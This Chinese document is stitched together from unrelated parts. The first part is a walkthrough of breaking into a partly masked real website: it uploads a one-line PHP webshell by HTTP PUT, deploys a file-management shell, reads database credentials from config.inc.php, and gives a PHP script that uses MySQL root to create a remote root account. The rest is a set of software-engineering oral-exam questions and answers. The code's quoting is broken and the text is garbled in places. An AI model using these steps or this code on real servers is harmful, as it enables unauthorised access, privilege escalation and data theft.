加油!-----老菜鸟队
|RWAMLCDP知道该用户具有:读取(R),写入(W),追加(A)等功能,唯独缺少了\执行(E)\功能!利用PUT命令上传一个一句话的 WebShell上去.在浏览器中运行http://www.*****.net/ a***lover/photo/gallery/webshell.php?cmd=dir,出现: Warning: passthru(): Unable to fork [dir] in D:\\s***n\\a***lover\\photo\\gallery\\webshell.php on line 1
看 来外部命令不能执行,管理员一定作了相应设臵.再上传一个phpinfo.php文件 在浏览器中运行:http://www.*****.net/ a***lover/photo/gallery/phpinfo.php,这时在php.ini变量的设臵都显示出来了(当然也你可以利用CASI看 c:\\windows\\php.ini 的内容)!外部命令不能执行的原因在此: 以下是引用片段: safe_mode Off Off
safe_mode_exec_dir no value no value
safe_mode_gid Off Off
safe_mode_include_dir no value no value
接下来上传一个自己编的仅带有浏览,拷贝,重命名,删除文件和上传文件五个功能的PHPSHELL:CMD.PHP
注: 由于时间仓促代码界面没优化好,在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件如d:\\web\\cmd.php,下面输入目标 文件如d:\\web\\cmdbak.php;del文本框中输入要删除的文件名如:d:\\web\\cmdbak.php;ren命令与copy命令相似; 点浏览按钮,选择你要上传的文件,然后点upload按钮,就上传到与本SHELL相同的目录下了. 运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\\windows,以及C:\\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^
如何才能把文件写到只读的C盘上呢?这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配臵文件config.inc.php的内容了吗? $dbhost=\数据库主机名 $dbuser=\数据库用户名 $dbpass=\数据库密码 $dbname=\数据库名 数据库用户名和密码都知道了,可惜的是本地用户,然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。
为此专门写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号,内容如下: 以下是代码片段:
$dbh=mysql_connect('localhost:3306','root','*****');// echo mysql_errno().\
加油!-----老菜鸟队
mysql_select_db('mysql');
echo mysql_errno().\\
$query=%username@'%'IDENTIFIED BY 'password' WITH GRANT OPTION\
$res=mysql_query($query, $dbh);
echo mysql_errno().\\
$err=mysql_error(); if($err){
echo \!\} else{
echo \!\}
《网络攻防技术实践》考核口试题
?
软件工程相关
1. 软件的算法是如何定义的?有哪些主要特征?
算法是指解题方案的准确而完整的描述,是一系列解决问题的清晰指令。 七个主要特征:有穷性、确定性、可行性、有效性、健壮性、输入项输出项 2. 软件中算法的效率如何度量?
空间复杂度、时间复杂度。 3. 解释一下算法、程序和软件的概念。
算法:通常指可以用来解决的某一类问题的步骤或程序,这些步骤或程序必须是明确的和有效的,而且能够在有限步之内完成的。
程序:程序(program)是为实现特定目标或解决特定问题而用计算机语言编写的命令序列的集合。
软件:计算机系统中与硬件相互依存的一部分,包括程序、数据、相关文档的完整集合。 4. 什么是结构化程序设计?有哪几种主要结构?
结构化程序设计(structured programming)是进行以模块功能和处理过程设计为主的详细设计的基本原则。它的主要观点是采用自顶向下、逐步求精的程序设计方法,使用三种基本控制结构构造程序。任何程序都可由顺序、选择、循环三种基本控制结构构造 。 5. 解释一下C语言中结构体的概念?
结构体是由一系列具有相同类型或不同类型的数据构成的数据集合。 6. 什么是数据结构?数据结构在计算机中如何表示?
数据结构是计算机存储、组织数据的方式。数据结构是指相互之间存在一种或多
加油!-----老菜鸟队
种特定关系的数据元素的集合。常用的数据结构有数组、栈、队列、链表、树、图、堆和散列表等。数据结构在计算机中的表示成为数据的物理结构,又称为存储结构,包括数据元素的表示和关系的表示。表示方法有结点、顺序存储结构和链式存储结构。 7. 解释一下数据结构中线性表的概念?
线性表中数据元素之间的关系是一对一的关系,即除了第一个和最后一个数据元素之外,其它数据元素都是首尾相接的。 8. 解释一下数据结构中树的概念?
树是由一个集合以及在该集合上定义的一种关系构成的。集合中的元素称为树的结点,所定义的关系称为父子关系。父子关系在树的结点之间建立了一个层次结构,这个结点称为该树的根结点。
树的递归定义:
树(Tree)是n(n≥0)个结点的有限集T,T为空时称为空树,否则它满足如下两个条件: (1)有且仅有一个特定的称为根(Root)的结点;一个根节点
(2)其余的结点可分为m(m≥0)个互不相交的子集Tl,T2,…,Tm,其中每个子集本身又是一棵树,并称其为根的子树(Subree)。 9. 解释一下数据结构中队列的概念?
队列是一种特殊的线性表,它只允许在表的前端(front)进行删除操作,而在表的后端(rear)进行插入操作。 10. 为什么要实施软件工程?
?软件的快速发展:需求越来越高、规模越来越大、种类越来越多、结构越来越复杂; 软件危机的存在:软件的特点及传统开发方法使软件危机四伏 11. 软件工程的基本内容是什么?
软件工程研究如何以系统性的、规范化的、可定量的过程化方法去开发和维护软件,如何把正确的管理技术和当前最好的技术方法结合起来。
主要内容:软件开发技术、软件工程管理。 12. 有哪几种主要的软件开发模型?
瀑布模型、快速原型模型、增量模型、螺旋模型、喷泉模型。 13. 软件有哪些主要特点?
(1)软件具有抽象性;(2)软件不是制造出来的;(3)软件没有磨损和老化,有生命周期;(4)对计算机系统有依赖性; 14. 软件是如何分类的?
一般来讲软件被划分为系统软件、应用软件,管理软件、行业软件、安全防护软件、多媒体软件、游戏软件
(1)按软件功能划分:系统软件、支撑软件、应用软件
加油!-----老菜鸟队
(2)按软件规模进行划分:微型、小型、中型、大型、甚大型、极大型、 (3) 按工作方式划分:实时处理软件、分时软件、交互式软件、批处理软件 (4) 按软件服务对象的范围划分:项目软件、产品软件 (5) 按使用的频度进行划分:一次使用、频繁使用
(6) 按软件失效的影响进行划分:高可靠性软件、一般可靠性软件 15. 什么是软件危机?其主要表现有哪些?
落后的软件生产方式无法满足迅速增长的计算机软件需求,从而导致软件开发与维护过程中出现一系列严重问题的现象。
表现:1软件开发成本进度失控;2用户不满意;3软件产品的质量靠不住;4缺乏文档资料;5软件不可维护; 6软件成本占计算机系统总成本的比例上升;7软件开发生产率的提高跟不上计算机普及深入的趋势。 16. 什么是软件工程?
软件工程是研究如何以系统性的、规范化的、可定量的过程化方法去开发和维护软件,如何把正确的管理技术和当前最好的技术方法结合起来。 17. 什么是软件工程的三要素?
方法、工具和过程
18. 软件工程的知识结构包括哪些主要内容?
软件需求、软件设计、软件构造、软件测试、软件维护、软件配臵管理、软件工程管理、软件工程过程、软件工程工具和方法、软件质量 19. 什么是软件工程中的配臵管理?
配臵管理(Configuration Management,CM)是通过技术或行政手段对软件产品及其开发过程和生命周期进行控制、规范的一系列措施。配臵管理的目标是记录软件产品的演化过程,确保软件开发者在软件生命周期中各个阶段都能得到精确的产品配臵。 20. 软件工程中文档的作用是什么?
1)阶段工作成果和结束标志;2)向管理人员提供软件开发过程中的进展和情况;3)记录开发过程中的技术信息,便于协调以后的软件开发、使用和修改;4)便于各类人员之间相互了解彼此的工作;5)向潜在用户报告软件的功能和性能。 21. 软件工程的基本原则有哪些?
1选取适宜开发范型;2采用合适的设计方法;3提供高质量的工程支持;4重视开发过程的管理.
22. 如何选择软件过程模型?
1)模型应符合软件本身的性质(规模、复杂性) 2)模型应满足软件应用系统整体开发进度要求 3)模型应有可能控制并消除软件开发风险
加油!-----老菜鸟队
4)模型应有可用的计算机辅助工具(如快速原型工具)的支持 5)模型应与用户和软件开发人员的知识和技能相匹配 6)模型应有利于软件开发的管理与控制 23. 什么是软件设计?
应用各种技术和原理,详细定义一个设备、程序或系统的物理实现的过程。 24. 软件设计的目标和目的是什么?
1付出较低的开发成本、2达到要求的软件功能、3取得较好的软件性能、4开发的软件易于移植、5需要较低的维护费用、6能按时完成开发工作,7及时交付使用 25. 软件设计的任务是什么?
数据设计:将分析时创建的信息域模型变换为实现软件所需的数据结构 结构设计:定义软件系统各主要部件之间的关系
接口设计:描述软件内部、软件和协作系统之间以及软件与人之间如何通信 过程设计:把系统结构部件转换成软件单元的过程性描述 26. 软件设计的过程包括哪些主要内容?
软件的设计是一个将需求转变为软件陈述(表达)的过程。通过逐步求精使得设计陈述逐渐接近源代码。这里有两个基本步骤;第一步是初步设计,将需求转换成数据和软件框架。第二步是详细设计,将框架逐步求精细化为具体的数据结构和软件的算法表达。 27. 良好的软件设计的特征有哪些?
设计必须实现所有包含在分析模型中的明示需求,并且必须满足客户希望的所有潜在需求;设计对于软件的编码、测试、维护人员必须是可读的、可理解的;设计应该提供软件的完整面貌,包括从实现角度所见的数据、功能、流程。 28. 软件设计的原则有哪些?
1设计对于分析模型应该是可跟踪的;2设计结构应该尽可能的模拟实际问题;3设计应该表现出一致性;4不要把设计当成编写代码;5在创建设计时就应该能够评估质量;6评审设计以减少语义性的错误;7设计应该模块化。 29. 什么是软件设计中的内聚?主要有哪些类型?
内聚指的是一个模块内部各组成部分的处理动作的组合强度,又称块内联系。 偶然内聚、逻辑内聚、时间内聚、过程内聚、通讯内聚、顺序内聚、功能内聚。 30. 什么是软件设计中的耦合?主要哪些等级?
耦合(coupling)指的是两个模块之间的相互依赖关系,又称块间联系。 非直接耦合、数据耦合、特征耦合、控制耦合、外部耦合、公共耦合、内容耦合。 31. 什么是软件设计中的数据设计?有主要原则有哪些?
将模型转换成数据结构的定义。选择需求定义、规格说明中提出的数据对象的逻辑表示。